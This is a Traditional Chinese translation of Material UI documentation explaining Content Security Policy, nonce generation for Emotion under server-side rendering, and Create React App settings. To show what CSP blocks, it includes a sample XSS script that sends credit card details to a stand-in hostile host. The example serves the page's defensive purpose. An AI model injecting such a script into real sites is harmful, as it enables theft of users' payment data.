內容安全策略 (CSP)
本節涵蓋設定 CSP 的詳細資訊。
什麼是 CSP 以及它為何有用?
CSP 透過要求開發人員將資產來源加入白名單,以減輕跨站腳本攻擊 (XSS)。此清單會作為伺服器標頭傳回。例如,假設您的網站託管在 https://example.com
,CSP 標頭 default-src: 'self';
將允許所有位於 https://example.com/*
的資產,並拒絕所有其他資產。如果您的網站的某個部分容易受到 XSS 攻擊,其中顯示了未轉義的使用者輸入,攻擊者可能會輸入類似這樣的內容
<script>
sendCreditCardDetails('https://hostile.example');
</script>
此漏洞將允許攻擊者執行任何操作。然而,透過安全的 CSP 標頭,瀏覽器將不會載入此腳本。
您可以在 MDN Web 文件上閱讀更多關於 CSP 的資訊。
如何實作 CSP?
伺服器端渲染 (SSR)
若要將 CSP 與 Material UI (和 Emotion) 搭配使用,您需要使用 nonce。Nonce 是一個隨機產生的字串,僅使用一次,因此您需要新增伺服器中間件,以在每個請求上產生一個。
CSP nonce 是一個 Base 64 編碼的字串。您可以像這樣產生一個
import uuidv4 from 'uuid/v4';
const nonce = new Buffer(uuidv4()).toString('base64');
您必須使用 UUID 版本 4,因為它會產生一個不可預測的字串。然後,您將此 nonce 應用於 CSP 標頭。套用 nonce 後,CSP 標頭可能如下所示
header('Content-Security-Policy').set(
`default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);
您應該在伺服器上的 <style>
標籤中傳遞 nonce。
<style
data-emotion={`${style.key} ${style.ids.join(' ')}`}
nonce={nonce}
dangerouslySetInnerHTML={{ __html: style.css }}
/>
然後,您必須將此 nonce 傳遞給 Emotion 的快取,以便它可以將其新增至後續的 <style>
。
const cache = createCache({
key: 'my-prefix-key',
nonce: nonce,
prepend: true,
});
function App(props) {
return (
<CacheProvider value={cache}>
<Home />
</CacheProvider>
);
}
Create React App (CRA)
根據 Create React App 文件,Create React App 預設會在生產環境建置期間動態地將執行階段腳本嵌入到 index.html 中。這將需要在每次部署期間在您的 CSP 中設定一個新的雜湊值。
若要將 CSP 用於初始化為 Create React App 的專案,您需要在用於生產環境建置的 .env
檔案中設定 INLINE_RUNTIME_CHUNK=false
變數。這將像往常一樣匯入執行階段腳本,而不是嵌入它,從而避免在每次部署期間設定新雜湊值的需求。
styled-components
nonce 的配置並不簡單明瞭,但您可以關注 此 issue 以獲得更多見解。